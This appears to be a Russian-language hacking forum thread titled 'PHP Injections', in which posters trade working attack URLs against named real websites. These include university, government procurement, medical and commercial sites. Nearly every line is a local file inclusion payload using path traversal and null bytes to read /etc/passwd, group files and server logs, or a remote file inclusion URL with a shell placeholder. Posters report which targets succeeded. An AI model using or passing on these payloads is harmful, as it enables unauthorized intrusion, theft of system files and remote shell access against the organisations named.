PHP Иньекции

.GOV

 

=\\

 

Code:

http://iranet.ira.inaf.it:10000/unauthenticated/nav/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/etc/passwd 

Code:

http://enablesoftware.com/index.php?target=[shell]

 

http://ai.isi.edu/index.php?module=seminars/index&submodule=../../../../../etc/passwd

 

Code:

http://www.laveg.tln.edu.ee/web/?act=../../../../../../../../etc/passwd%00

 

1. www.escort-central.com --local

Code:

http://www.escort-central.com/index2.php?page=../../../../../../etc/passwd%00
http://www.escort-central.com/index2.php?page=../../../../../../etc/group%00
http://www.escort-central.com/index2.php?page=../../../../../../etc/hosts%00
http://www.escort-central.com/index2.php?page=../../../../../../etc/services%00
Есть логи, но нету прав на чтение
http://www.escort-central.com/index2.php?page=../../logs/error.log%00
http://www.escort-central.com/index2.php?page=../../logs/access.log%00

2. www.procurementdirectory.af --local

Code:

http://www.procurementdirectory.af/index.php?page=../../../../../../../etc/passwd
http://www.procurementdirectory.af/index.php?page=../../../../../../../etc/group
http://www.procurementdirectory.af/index.php?page=../../../../../../../etc/hosts
http://www.procurementdirectory.af/index.php?page=../../../../../../../etc/services

3. arthritiscentral.com --local

Code:

http://arthritiscentral.com/index.php?page=../../../../../etc/passwd
http://arthritiscentral.com/index.php?page=../../../../../etc/group
http://arthritiscentral.com/index.php?page=../../../../../etc/services

4. od.thinkhead.com --local

Code:

http://od.thinkhead.com/index.php?page=../../../../../etc/passwd
http://od.thinkhead.com/index.php?page=../../../../../etc/group
http://od.thinkhead.com/index.php?page=../../../../../etc/services

5. www.iaald.org --remote

Code:

http://www.iaald.org/cee/index.php?page=[shell]

 

Code:

http://www.forestry.caf.wvu.edu/wvu_woodscience/index.php?page=[url]

 

Мой вклад
http://www.emc-music.de/shop.php?url=../../../../../etc/syslog.conf&search=27

 

http://www.teamfbuk.com/index.php?page=ШЕЛЛ
http://iaald.org/cee/index.php?page=Шелл
http://animeendless.net/index.php?page=И снова Шелл

 

Оно точно там, но грузицо не захотело) большие логи, а время ожидания исполнения 30сек =\

тут всё норм

 

=\\

 

=\\

 

=\\

Rock-говно =\\

 

=\\

 

=\\

 

=\\

 

=\\

 

=\\

 

Вот мой 1 пост в этом разделе ) собственно после 2-х дней учебы хаку (ну это не хак имхо) но : =)
собачьи братья )))

http://www.dogbrothers.com/wrapper.php?file=../../../../../../../../../etc/passwd

ой вот еще ))
http://adee.dental.tcd.ie/index.php?file=../../../../../../../../../../etc/passwd

 

=\\